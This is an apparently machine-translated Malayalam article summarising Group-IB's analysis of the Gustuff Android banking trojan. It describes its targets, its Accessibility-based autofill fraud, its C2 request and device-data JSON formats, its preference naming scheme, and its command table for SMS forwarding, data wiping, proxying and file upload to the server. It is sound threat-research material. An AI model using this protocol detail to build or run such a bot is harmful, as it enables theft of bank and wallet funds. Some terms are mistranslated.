ആൻഡ്രോയിഡ് ട്രോജൻ ഗസ്റ്റഫ് നിങ്ങളുടെ അക്കൗണ്ടുകളിൽ നിന്ന് ക്രീം (ഫിയറ്റും ക്രിപ്‌റ്റോയും) എങ്ങനെ ഒഴിവാക്കുന്നു

കഴിഞ്ഞ ദിവസം ഗ്രൂപ്പ്-ഐ.ബി അറിയിച്ചു മൊബൈൽ ആൻഡ്രോയിഡ് ട്രോജൻ ഗസ്റ്റഫിന്റെ പ്രവർത്തനത്തെക്കുറിച്ച്. ഇത് അന്താരാഷ്ട്ര വിപണികളിൽ മാത്രമായി പ്രവർത്തിക്കുന്നു, 100 വലിയ വിദേശ ബാങ്കുകളുടെ ക്ലയന്റുകളെ ആക്രമിക്കുന്നു, മൊബൈൽ 32 ക്രിപ്‌റ്റോ വാലറ്റുകളുടെ ഉപയോക്താക്കൾ, അതുപോലെ വലിയ ഇ-കൊമേഴ്‌സ് ഉറവിടങ്ങൾ. എന്നാൽ ഗസ്റ്റഫിന്റെ ഡെവലപ്പർ ബെസ്‌റ്റോഫർ എന്ന വിളിപ്പേരിൽ റഷ്യൻ സംസാരിക്കുന്ന ഒരു സൈബർ ക്രിമിനലാണ്. അടുത്ത കാലം വരെ, അദ്ദേഹം തന്റെ ട്രോജനെ "അറിവും അനുഭവപരിചയവുമുള്ള ആളുകൾക്ക് ഒരു ഗുരുതരമായ ഉൽപ്പന്നം" എന്ന് പ്രശംസിച്ചു.

ഗ്രൂപ്പ്-ഐബിയിലെ ക്ഷുദ്ര കോഡ് വിശകലന വിദഗ്ധൻ ഇവാൻ പിസാരെവ് ഗസ്റ്റഫ് എങ്ങനെ പ്രവർത്തിക്കുന്നുവെന്നും അതിന്റെ അപകടങ്ങൾ എന്താണെന്നും തന്റെ ഗവേഷണത്തിൽ അദ്ദേഹം വിശദമായി സംസാരിക്കുന്നു.

ആർക്കുവേണ്ടിയാണ് ഗസ്റ്റഫ് വേട്ടയാടുന്നത്?

ഗസ്റ്റഫ് പൂർണ്ണമായും ഓട്ടോമേറ്റഡ് ഫംഗ്‌ഷനുകളുള്ള ഒരു പുതിയ തലമുറ ക്ഷുദ്രവെയറിന്റേതാണ്. ഡെവലപ്പർ പറയുന്നതനുസരിച്ച്, ട്രോജൻ ആൻഡിബോട്ട് ക്ഷുദ്രവെയറിന്റെ പുതിയതും മെച്ചപ്പെടുത്തിയതുമായ പതിപ്പായി മാറിയിരിക്കുന്നു, ഇത് 2017 നവംബർ മുതൽ ആൻഡ്രോയിഡ് ഫോണുകളെ ആക്രമിക്കുകയും ഫിഷിംഗ് വെബ് ഫോമുകളിലൂടെ പണം മോഷ്ടിക്കുകയും ചെയ്യുന്നു. ഗസ്റ്റഫ് ബോട്ട് വാടകയ്ക്ക് പ്രതിമാസം $800 ആണെന്ന് Bestoffer റിപ്പോർട്ട് ചെയ്തു.

ബാങ്ക് ഓഫ് അമേരിക്ക, ബാങ്ക് ഓഫ് സ്‌കോട്ട്‌ലൻഡ്, ജെപി മോർഗൻ, വെൽസ് ഫാർഗോ, ക്യാപിറ്റൽ വൺ, ടിഡി ബാങ്ക്, പിഎൻസി ബാങ്ക്, ക്രിപ്‌റ്റോ വാലറ്റുകൾ തുടങ്ങിയ ഏറ്റവും വലിയ ബാങ്കുകളുടെ മൊബൈൽ ആപ്ലിക്കേഷനുകൾ ഉപയോഗിക്കുന്ന ഉപഭോക്താക്കളെയാണ് ട്രോജൻ ലക്ഷ്യമിടുന്നതെന്ന് ഗസ്റ്റഫ് സാമ്പിളിന്റെ വിശകലനം കാണിച്ചു. ബിറ്റ്കോയിൻ വാലറ്റ്, ബിറ്റ്പേ, ക്രിപ്റ്റോപേ, കോയിൻബേസ് മുതലായവ.

യഥാർത്ഥത്തിൽ ഒരു ക്ലാസിക് ബാങ്കിംഗ് ട്രോജൻ ആയി സൃഷ്ടിച്ചതാണ്, നിലവിലെ പതിപ്പിൽ ഗസ്റ്റഫ് ആക്രമണത്തിനുള്ള സാധ്യതയുള്ള ലക്ഷ്യങ്ങളുടെ പട്ടിക ഗണ്യമായി വിപുലീകരിച്ചു. ബാങ്കുകൾ, ഫിൻടെക് കമ്പനികൾ, ക്രിപ്‌റ്റോ സേവനങ്ങൾ എന്നിവയ്‌ക്കായുള്ള ആൻഡ്രോയിഡ് ആപ്ലിക്കേഷനുകൾക്ക് പുറമേ, മാർക്കറ്റ്പ്ലേസ് ആപ്ലിക്കേഷനുകൾ, ഓൺലൈൻ സ്റ്റോറുകൾ, പേയ്‌മെന്റ് സംവിധാനങ്ങൾ, തൽക്ഷണ സന്ദേശവാഹകർ എന്നിവ ഉപയോഗിക്കുന്നവരെയാണ് ഗസ്റ്റഫ് ലക്ഷ്യമിടുന്നത്. പ്രത്യേകിച്ച്, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut എന്നിവയും മറ്റും.

എൻട്രി പോയിന്റ്: കൂട്ട അണുബാധയ്ക്കുള്ള കണക്കുകൂട്ടൽ

APK-കളിലേക്കുള്ള ലിങ്കുകളുള്ള എസ്എംഎസ് മെയിലിംഗുകളിലൂടെ ആൻഡ്രോയിഡ് സ്‌മാർട്ട്‌ഫോണുകളിലേക്കുള്ള നുഴഞ്ഞുകയറ്റത്തിന്റെ "ക്ലാസിക്" വെക്‌ടറാണ് ഗസ്റ്റഫിന്റെ സവിശേഷത. സെർവറിന്റെ കമാൻഡിൽ ഒരു ആൻഡ്രോയിഡ് ഉപകരണം ട്രോജൻ ബാധിച്ചാൽ, രോഗബാധിതമായ ഫോണിന്റെ കോൺടാക്റ്റ് ഡാറ്റാബേസിലൂടെയോ സെർവർ ഡാറ്റാബേസിലൂടെയോ ഗസ്റ്റഫ് കൂടുതൽ വ്യാപിച്ചേക്കാം. ഗസ്റ്റഫിന്റെ പ്രവർത്തനം അതിന്റെ ഓപ്പറേറ്റർമാരുടെ ബിസിനസ്സിന്റെ വൻതോതിലുള്ള അണുബാധയ്ക്കും പരമാവധി മൂലധനവൽക്കരണത്തിനുമായി രൂപകൽപ്പന ചെയ്‌തിരിക്കുന്നു - ഇതിന് നിയമാനുസൃതമായ മൊബൈൽ ബാങ്കിംഗ് ആപ്ലിക്കേഷനുകളിലേക്കും ക്രിപ്‌റ്റോ വാലറ്റുകളിലേക്കും സവിശേഷമായ “ഓട്ടോ-ഫിൽ” ഫംഗ്‌ഷൻ ഉണ്ട്, ഇത് പണം മോഷ്ടിക്കുന്നത് വേഗത്തിലാക്കാനും അളക്കാനും നിങ്ങളെ അനുവദിക്കുന്നു.

വികലാംഗർക്കുള്ള സേവനമായ ആക്‌സസിബിലിറ്റി സർവീസ് ഉപയോഗിച്ച് ഓട്ടോഫിൽ ഫംഗ്ഷൻ അതിൽ നടപ്പിലാക്കിയതായി ട്രോജനെക്കുറിച്ചുള്ള ഒരു പഠനം കാണിച്ചു. ഈ ആൻഡ്രോയിഡ് സേവനം ഉപയോഗിക്കുന്ന മറ്റ് ആപ്ലിക്കേഷനുകളുടെ വിൻഡോ ഘടകങ്ങളുമായി ഇടപഴകുന്നതിൽ നിന്ന് പരിരക്ഷയെ വിജയകരമായി മറികടക്കുന്ന ആദ്യത്തെ ട്രോജനല്ല ഗസ്റ്റഫ്. എന്നിരുന്നാലും, ഒരു കാർ ഫില്ലറുമായി സംയോജിപ്പിച്ച് പ്രവേശനക്ഷമത സേവനം ഉപയോഗിക്കുന്നത് ഇപ്പോഴും വളരെ വിരളമാണ്.

ഇരയുടെ ഫോണിലേക്ക് ഡൗൺലോഡ് ചെയ്‌തതിന് ശേഷം, ആക്‌സസിബിലിറ്റി സേവനം ഉപയോഗിച്ച് ഗസ്റ്റഫിന് മറ്റ് ആപ്ലിക്കേഷനുകളുടെ (ബാങ്കിംഗ്, ക്രിപ്‌റ്റോകറൻസി, കൂടാതെ ഓൺലൈൻ ഷോപ്പിംഗ്, സന്ദേശമയയ്‌ക്കൽ മുതലായവയ്‌ക്കുള്ള ആപ്ലിക്കേഷനുകൾ) വിൻഡോ ഘടകങ്ങളുമായി സംവദിക്കാൻ കഴിയും, ആക്രമണകാരികൾക്ക് ആവശ്യമായ പ്രവർത്തനങ്ങൾ നടത്തുന്നു. . ഉദാഹരണത്തിന്, സെർവറിന്റെ കമാൻഡിൽ, ഒരു ട്രോജന് ബട്ടണുകൾ അമർത്താനും ബാങ്കിംഗ് ആപ്ലിക്കേഷനുകളിലെ ടെക്സ്റ്റ് ഫീൽഡുകളുടെ മൂല്യങ്ങൾ മാറ്റാനും കഴിയും. ആക്‌സസിബിലിറ്റി സർവീസ് മെക്കാനിസം ഉപയോഗിക്കുന്നത് മുൻ തലമുറ മൊബൈൽ ട്രോജനുകളെ പ്രതിരോധിക്കാൻ ബാങ്കുകൾ ഉപയോഗിക്കുന്ന സുരക്ഷാ സംവിധാനങ്ങളെ മറികടക്കാൻ ട്രോജനിനെ അനുവദിക്കുന്നു, അതുപോലെ തന്നെ Android OS-ന്റെ പുതിയ പതിപ്പുകളിൽ Google നടപ്പിലാക്കിയ സുരക്ഷാ നയത്തിലെ മാറ്റങ്ങളും. അതിനാൽ, ഗൂഗിൾ പ്രൊട്ടക്റ്റ് പരിരക്ഷ പ്രവർത്തനരഹിതമാക്കാൻ ഗസ്റ്റഫിന് "എങ്ങനെ അറിയാം": രചയിതാവിന്റെ അഭിപ്രായത്തിൽ, ഈ പ്രവർത്തനം 70% കേസുകളിൽ പ്രവർത്തിക്കുന്നു.

നിയമാനുസൃതമായ മൊബൈൽ ആപ്ലിക്കേഷനുകളുടെ ഐക്കണുകളുള്ള വ്യാജ പുഷ് അറിയിപ്പുകൾ പ്രദർശിപ്പിക്കാനും ഗസ്റ്റഫിന് കഴിയും. ഉപയോക്താവ് പുഷ് അറിയിപ്പിൽ ക്ലിക്കുചെയ്യുകയും സെർവറിൽ നിന്ന് ഡൗൺലോഡ് ചെയ്‌ത ഒരു ഫിഷിംഗ് വിൻഡോ കാണുകയും ചെയ്യുന്നു, അവിടെ അദ്ദേഹം ആവശ്യപ്പെട്ട ബാങ്ക് കാർഡോ ക്രിപ്‌റ്റോ വാലറ്റ് ഡാറ്റയോ നൽകുന്നു. മറ്റൊരു ഗസ്റ്റഫ് സാഹചര്യത്തിൽ, പുഷ് അറിയിപ്പ് പ്രദർശിപ്പിച്ച ആപ്ലിക്കേഷൻ തുറക്കുന്നു. ഈ സാഹചര്യത്തിൽ, ആക്‌സസിബിലിറ്റി സർവീസ് വഴി സെർവറിൽ നിന്നുള്ള കമാൻഡ് പ്രകാരം ക്ഷുദ്രവെയറിന് ഒരു വഞ്ചനാപരമായ ഇടപാടിനായി ഒരു ബാങ്കിംഗ് ആപ്ലിക്കേഷന്റെ ഫോം ഫീൽഡുകൾ പൂരിപ്പിക്കാൻ കഴിയും.

ഗസ്റ്റഫിന്റെ പ്രവർത്തനത്തിൽ സെർവറിലേക്ക് ഒരു രോഗബാധിതമായ ഉപകരണത്തെക്കുറിച്ചുള്ള വിവരങ്ങൾ അയയ്‌ക്കുന്നതും SMS സന്ദേശങ്ങൾ വായിക്കാനും/അയയ്‌ക്കാനുമുള്ള കഴിവ്, USSD അഭ്യർത്ഥനകൾ അയയ്‌ക്കൽ, SOCKS5 പ്രോക്‌സി സമാരംഭിക്കൽ, ഒരു ലിങ്ക് പിന്തുടരൽ, ഫയലുകൾ (രേഖകളുടെ ഫോട്ടോ സ്‌കാൻ, സ്‌ക്രീൻഷോട്ടുകൾ, ഫോട്ടോഗ്രാഫുകൾ ഉൾപ്പെടെ) എന്നിവയും ഉൾപ്പെടുന്നു. സെർവർ, ഫാക്ടറി ക്രമീകരണങ്ങളിലേക്ക് ഉപകരണം പുനഃസജ്ജമാക്കുക.

ക്ഷുദ്രവെയർ വിശകലനം

ക്ഷുദ്രകരമായ ഒരു ആപ്ലിക്കേഷൻ ഇൻസ്റ്റാൾ ചെയ്യുന്നതിന് മുമ്പ്, ഗസ്റ്റഫ് അഭ്യർത്ഥിച്ച അവകാശങ്ങളുടെ ഒരു ലിസ്റ്റ് അടങ്ങുന്ന ഒരു വിൻഡോ Android OS ഉപയോക്താവിന് കാണിക്കുന്നു:

ഉപയോക്താവിന്റെ സമ്മതം ലഭിച്ചതിന് ശേഷം മാത്രമേ ആപ്ലിക്കേഷൻ ഇൻസ്റ്റാൾ ചെയ്യുകയുള്ളൂ. ആപ്ലിക്കേഷൻ സമാരംഭിച്ചതിന് ശേഷം, ട്രോജൻ ഉപയോക്താവിന് ഒരു വിൻഡോ കാണിക്കും:

അതിനുശേഷം അതിന്റെ ഐക്കൺ നീക്കം ചെയ്യും.

രചയിതാവിന്റെ അഭിപ്രായത്തിൽ, എഫ്ടിടിയിൽ നിന്നുള്ള ഒരു പാക്കറാണ് ഗസ്റ്റഫ് പാക്ക് ചെയ്യുന്നത്. സ്റ്റാർട്ടപ്പിന് ശേഷം, കമാൻഡുകൾ സ്വീകരിക്കുന്നതിന് ആപ്ലിക്കേഷൻ ഇടയ്ക്കിടെ CnC സെർവറുമായി ബന്ധപ്പെടുന്നു. ഞങ്ങൾ പരിശോധിച്ച നിരവധി ഫയലുകൾ നിയന്ത്രണ സെർവറായി ഒരു IP വിലാസം ഉപയോഗിച്ചു 88.99.171[.]105 (ഇനി മുതൽ ഞങ്ങൾ അതിനെ ഇങ്ങനെ സൂചിപ്പിക്കും <%CnC%>).

സമാരംഭിച്ചതിന് ശേഷം, പ്രോഗ്രാം സെർവറിലേക്ക് സന്ദേശങ്ങൾ അയയ്ക്കാൻ തുടങ്ങുന്നു http://<%CnC%>/api/v1/get.php.

പ്രതികരണം ഇനിപ്പറയുന്ന ഫോർമാറ്റിൽ JSON ആയിരിക്കുമെന്ന് പ്രതീക്ഷിക്കുന്നു:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

ഓരോ തവണയും ആപ്ലിക്കേഷൻ ആക്‌സസ് ചെയ്യപ്പെടുമ്പോൾ, അത് ബാധിച്ച ഉപകരണത്തെക്കുറിച്ചുള്ള വിവരങ്ങൾ അയയ്ക്കുന്നു. സന്ദേശ ഫോർമാറ്റ് ചുവടെ കാണിച്ചിരിക്കുന്നു. വയലുകൾ എന്നത് ശ്രദ്ധിക്കേണ്ടതാണ് നിറഞ്ഞ, അധികമായി, അപ്ലിക്കേഷനുകൾ и അനുമതി - ഓപ്‌ഷണൽ, CnC-ൽ നിന്നുള്ള ഒരു അഭ്യർത്ഥന കമാൻഡ് ഉണ്ടെങ്കിൽ മാത്രം അയയ്ക്കും.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

കോൺഫിഗറേഷൻ ഡാറ്റ സംഭരിക്കുന്നു

ഗസ്റ്റഫ് പ്രവർത്തനപരമായി പ്രധാനപ്പെട്ട വിവരങ്ങൾ ഒരു മുൻഗണനാ ഫയലിൽ സംഭരിക്കുന്നു. ഫയലിന്റെ പേരും അതിലെ പാരാമീറ്ററുകളുടെ പേരുകളും സ്ട്രിംഗിൽ നിന്ന് MD5 തുക കണക്കാക്കുന്നതിന്റെ ഫലമാണ് 15413090667214.6.1<%name%>എവിടെ <%name%> - പ്രാരംഭ നാമ മൂല്യം. നെയിം ജനറേഷൻ ഫംഗ്‌ഷന്റെ പൈത്തൺ വ്യാഖ്യാനം:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

തുടർന്നുള്ളതിൽ നമ്മൾ അതിനെ ഇതുപോലെ സൂചിപ്പിക്കും പേര് ജനറേറ്റർ(ഇൻപുട്ട്).
അതിനാൽ ആദ്യത്തെ ഫയലിന്റെ പേര് ഇതാണ്: നെയിംജനറേറ്റർ("API_SERVER_LIST"), അതിൽ ഇനിപ്പറയുന്ന പേരുകളുള്ള മൂല്യങ്ങൾ അടങ്ങിയിരിക്കുന്നു:

വേരിയബിൾ നാമം	വില
നെയിംജനറേറ്റർ("API_SERVER_LIST")	ഒരു അറേയുടെ രൂപത്തിൽ CnC വിലാസങ്ങളുടെ ഒരു ലിസ്റ്റ് അടങ്ങിയിരിക്കുന്നു.
നെയിംജനറേറ്റർ("API_SERVER_URL")	CnC വിലാസം അടങ്ങിയിരിക്കുന്നു.
നെയിംജനറേറ്റർ("SMS_UPLOAD")	പതാക സ്ഥിരസ്ഥിതിയായി സജ്ജീകരിച്ചിരിക്കുന്നു. ഫ്ലാഗ് സജ്ജീകരിച്ചിട്ടുണ്ടെങ്കിൽ, CnC-ലേക്ക് SMS സന്ദേശങ്ങൾ അയയ്ക്കുന്നു.
നെയിംജനറേറ്റർ("SMS_ROOT_NUMBER")	രോഗം ബാധിച്ച ഉപകരണത്തിന് ലഭിക്കുന്ന SMS സന്ദേശങ്ങൾ അയയ്‌ക്കുന്ന ഫോൺ നമ്പർ. ഡിഫോൾട്ട് ശൂന്യമാണ്.
നെയിംജനറേറ്റർ("SMS_ROOT_NUMBER_RESEND")	പതാക സ്ഥിരസ്ഥിതിയായി മായ്‌ക്കപ്പെടുന്നു. ഇൻസ്‌റ്റാൾ ചെയ്‌താൽ, രോഗബാധിതമായ ഉപകരണത്തിന് ഒരു SMS ലഭിക്കുമ്പോൾ, അത് റൂട്ട് നമ്പറിലേക്ക് അയയ്‌ക്കും.
നെയിംജനറേറ്റർ("DEFAULT_APP_SMS")	പതാക സ്ഥിരസ്ഥിതിയായി മായ്‌ക്കപ്പെടുന്നു. ഈ ഫ്ലാഗ് സജ്ജീകരിച്ചിട്ടുണ്ടെങ്കിൽ, ഇൻകമിംഗ് SMS സന്ദേശങ്ങൾ ആപ്ലിക്കേഷൻ പ്രോസസ്സ് ചെയ്യും.
നെയിംജനറേറ്റർ("DEFAULT_ADMIN")	പതാക സ്ഥിരസ്ഥിതിയായി മായ്‌ക്കപ്പെടുന്നു. ഫ്ലാഗ് സജ്ജീകരിച്ചിട്ടുണ്ടെങ്കിൽ, അപ്ലിക്കേഷന് അഡ്മിനിസ്ട്രേറ്റർ അവകാശങ്ങളുണ്ട്.
നെയിംജനറേറ്റർ("DEFAULT_ACCESSIBILITY")	പതാക സ്ഥിരസ്ഥിതിയായി മായ്‌ക്കപ്പെടുന്നു. ഫ്ലാഗ് സജ്ജീകരിച്ചിട്ടുണ്ടെങ്കിൽ, പ്രവേശനക്ഷമത സേവനം ഉപയോഗിക്കുന്ന ഒരു സേവനം പ്രവർത്തിക്കുന്നു.
നെയിം ജനറേറ്റർ("APPS_CONFIG")	ഒരു നിർദ്ദിഷ്‌ട ആപ്ലിക്കേഷനുമായി ബന്ധപ്പെട്ട ഒരു പ്രവേശനക്ഷമത ഇവന്റ് ട്രിഗർ ചെയ്യുമ്പോൾ ചെയ്യേണ്ട പ്രവർത്തനങ്ങളുടെ ഒരു ലിസ്റ്റ് അടങ്ങുന്ന ഒരു JSON ഒബ്‌ജക്റ്റ്.
നെയിംജനറേറ്റർ("APPS_INSTALLED")	ഉപകരണത്തിൽ ഇൻസ്റ്റാൾ ചെയ്ത ആപ്ലിക്കേഷനുകളുടെ ഒരു ലിസ്റ്റ് സംഭരിക്കുന്നു.
നെയിം ജനറേറ്റർ("IS_FIST_RUN")	ആദ്യ തുടക്കത്തിൽ തന്നെ ഫ്ലാഗ് റീസെറ്റ് ചെയ്തു.
നെയിംജനറേറ്റർ("UNIQUE_ID")	ഒരു അദ്വിതീയ ഐഡന്റിഫയർ അടങ്ങിയിരിക്കുന്നു. ബോട്ട് ആദ്യമായി വിക്ഷേപിക്കുമ്പോൾ ജനറേറ്റഡ്.

സെർവറിൽ നിന്നുള്ള കമാൻഡുകൾ പ്രോസസ്സ് ചെയ്യുന്നതിനുള്ള മൊഡ്യൂൾ

ആപ്ലിക്കേഷൻ CnC സെർവറുകളുടെ വിലാസങ്ങൾ എൻകോഡ് ചെയ്ത ഒരു അറേയുടെ രൂപത്തിൽ സംഭരിക്കുന്നു ബേസ് 85 ലൈനുകൾ. ഉചിതമായ കമാൻഡ് ലഭിച്ചാൽ CnC സെർവറുകളുടെ ലിസ്റ്റ് മാറ്റാൻ കഴിയും, ഈ സാഹചര്യത്തിൽ വിലാസങ്ങൾ ഒരു മുൻഗണനാ ഫയലിൽ സൂക്ഷിക്കും.

അഭ്യർത്ഥനയ്ക്ക് മറുപടിയായി, സെർവർ ആപ്ലിക്കേഷനിലേക്ക് ഒരു കമാൻഡ് അയയ്ക്കുന്നു. കമാൻഡുകളും പരാമീറ്ററുകളും JSON ഫോർമാറ്റിലാണ് അവതരിപ്പിച്ചിരിക്കുന്നത് എന്നത് ശ്രദ്ധിക്കേണ്ടതാണ്. അപ്ലിക്കേഷന് ഇനിപ്പറയുന്ന കമാൻഡുകൾ പ്രോസസ്സ് ചെയ്യാൻ കഴിയും:

ടീം	വിവരണം
ഫോർവേഡ്സ്റ്റാർട്ട്	രോഗം ബാധിച്ച ഉപകരണത്തിന് ലഭിച്ച SMS സന്ദേശങ്ങൾ CnC സെർവറിലേക്ക് അയയ്ക്കാൻ ആരംഭിക്കുക.
ഫോർവേഡ്സ്റ്റോപ്പ്	രോഗം ബാധിച്ച ഉപകരണത്തിന് ലഭിച്ച SMS സന്ദേശങ്ങൾ CnC സെർവറിലേക്ക് അയക്കുന്നത് നിർത്തുക.
ussdRun	USSD അഭ്യർത്ഥന നടപ്പിലാക്കുക. നിങ്ങൾക്ക് ഒരു USSD അഭ്യർത്ഥന നടത്തേണ്ട നമ്പർ JSON ഫീൽഡിൽ "നമ്പർ" എന്നതിൽ സ്ഥിതിചെയ്യുന്നു.
എസ്എംഎസ് അയയ്ക്കുക	ഒരു SMS സന്ദേശം അയയ്‌ക്കുക (ആവശ്യമെങ്കിൽ, സന്ദേശം ഭാഗങ്ങളായി വിഭജിച്ചിരിക്കുന്നു). ഒരു പാരാമീറ്റർ എന്ന നിലയിൽ, കമാൻഡ് "ടു" - ലക്ഷ്യസ്ഥാന നമ്പർ, "ബോഡി" - സന്ദേശത്തിന്റെ ബോഡി എന്നിവ അടങ്ങുന്ന ഒരു JSON ഒബ്ജക്റ്റ് എടുക്കുന്നു.
അയയ്ക്കുകSmsAb	രോഗം ബാധിച്ച ഉപകരണത്തിന്റെ കോൺടാക്റ്റ് ലിസ്റ്റിലുള്ള എല്ലാവർക്കും SMS സന്ദേശങ്ങൾ അയയ്‌ക്കുക (ആവശ്യമെങ്കിൽ, സന്ദേശം "ഭാഗങ്ങളായി വിഭജിച്ചിരിക്കുന്നു"). സന്ദേശങ്ങൾ അയക്കുന്നതിനുള്ള ഇടവേള 10 സെക്കൻഡാണ്. സന്ദേശത്തിന്റെ ബോഡി JSON ഫീൽഡിൽ "ബോഡി" ആണ്
sendSmsMass	കമാൻഡ് പാരാമീറ്ററുകളിൽ വ്യക്തമാക്കിയ കോൺടാക്റ്റുകളിലേക്ക് SMS സന്ദേശങ്ങൾ അയയ്ക്കുക (ആവശ്യമെങ്കിൽ, സന്ദേശം "ഭാഗങ്ങളായി വിഭജിച്ചിരിക്കുന്നു"). സന്ദേശങ്ങൾ അയക്കുന്നതിനുള്ള ഇടവേള 10 സെക്കൻഡാണ്. ഒരു പാരാമീറ്റർ എന്ന നിലയിൽ, കമാൻഡ് ഒരു JSON അറേ ("sms" ഫീൽഡ്) എടുക്കുന്നു, അതിന്റെ ഘടകങ്ങളിൽ "to" - ലക്ഷ്യസ്ഥാന നമ്പർ, "ബോഡി" - സന്ദേശത്തിന്റെ ബോഡി എന്നിവ അടങ്ങിയിരിക്കുന്നു.
സെർവർ മാറ്റുക	ഈ കമാൻഡിന് “url” എന്ന കീ ഉപയോഗിച്ച് ഒരു പാരാമീറ്ററായി ഒരു മൂല്യം എടുക്കാൻ കഴിയും - തുടർന്ന് ബോട്ട് nameGenerator (“SERVER_URL”), അല്ലെങ്കിൽ “array” എന്നിവയുടെ മൂല്യം മാറ്റും - തുടർന്ന് ബോട്ട് nameGenerator (“API_SERVER_LIST”) എന്നതിലേക്ക് അറേ എഴുതും. അങ്ങനെ, ആപ്ലിക്കേഷൻ CnC സെർവറുകളുടെ വിലാസം മാറ്റുന്നു.
അഡ്മിൻ നമ്പർ	ഒരു റൂട്ട് നമ്പറുമായി പ്രവർത്തിക്കാൻ കമാൻഡ് രൂപകൽപ്പന ചെയ്തിരിക്കുന്നു. ഇനിപ്പറയുന്ന പാരാമീറ്ററുകളുള്ള ഒരു JSON ഒബ്‌ജക്‌റ്റ് കമാൻഡ് സ്വീകരിക്കുന്നു: “നമ്പർ” — നാമം ജനറേറ്റർ (“ROOT_NUMBER”) സ്വീകരിച്ച മൂല്യത്തിലേക്ക് മാറ്റുക, “വീണ്ടും അയയ്ക്കുക” — നെയിംജെനറേറ്റർ മാറ്റുക(“SMS_ROOT_NUMBER_RESEND”), “sendId” — nameGenerator (“ROOT_NUMBER” ലേക്ക് അയയ്‌ക്കുക ) അദ്വിതീയ ഐഡി.
വിവരങ്ങൾ അപ്ഡേറ്റ് ചെയ്യുക	രോഗം ബാധിച്ച ഉപകരണത്തെക്കുറിച്ചുള്ള വിവരങ്ങൾ സെർവറിലേക്ക് അയയ്ക്കുക.
വൈപ്പ്ഡാറ്റ	കമാൻഡ് ഉപയോക്തൃ ഡാറ്റ ഇല്ലാതാക്കാൻ ഉദ്ദേശിച്ചുള്ളതാണ്. ആപ്ലിക്കേഷൻ ഏത് പേരിലാണ് സമാരംഭിച്ചത് എന്നതിനെ ആശ്രയിച്ച്, ഒന്നുകിൽ ഒരു ഉപകരണ റീബൂട്ട് ഉപയോഗിച്ച് ഡാറ്റ പൂർണ്ണമായും മായ്‌ക്കപ്പെടും (പ്രാഥമിക ഉപയോക്താവ്), അല്ലെങ്കിൽ ഉപയോക്തൃ ഡാറ്റ മാത്രം ഇല്ലാതാക്കപ്പെടും (ദ്വിതീയ ഉപയോക്താവ്).
സോക്സ്സ്റ്റാർട്ട്	പ്രോക്സി മൊഡ്യൂൾ സമാരംഭിക്കുക. മൊഡ്യൂളിന്റെ പ്രവർത്തനം ഒരു പ്രത്യേക വിഭാഗത്തിൽ വിവരിച്ചിരിക്കുന്നു.
സോക്സ്സ്റ്റോപ്പ്	പ്രോക്സി മൊഡ്യൂൾ നിർത്തുക.
ഓപ്പൺലിങ്ക്	ലിങ്ക് പിന്തുടരുക. "url" കീയുടെ കീഴിലുള്ള JSON പാരാമീറ്ററിലാണ് ലിങ്ക് സ്ഥിതി ചെയ്യുന്നത്. ലിങ്ക് തുറക്കാൻ "android.intent.action.VIEW" ഉപയോഗിക്കുന്നു.
അപ്ലോഡ്AllSms	ഉപകരണത്തിന് ലഭിച്ച എല്ലാ SMS സന്ദേശങ്ങളും സെർവറിലേക്ക് അയയ്ക്കുക.
എല്ലാ ഫോട്ടോകളും അപ്‌ലോഡ് ചെയ്യുക	രോഗബാധിതമായ ഉപകരണത്തിൽ നിന്ന് ഒരു URL-ലേക്ക് ചിത്രങ്ങൾ അയയ്‌ക്കുക. URL ഒരു പാരാമീറ്ററായി വരുന്നു.
ഫയൽ അപ്ലോഡ് ചെയ്യുക	രോഗം ബാധിച്ച ഉപകരണത്തിൽ നിന്ന് ഒരു URL-ലേക്ക് ഒരു ഫയൽ അയയ്ക്കുക. URL ഒരു പാരാമീറ്ററായി വരുന്നു.
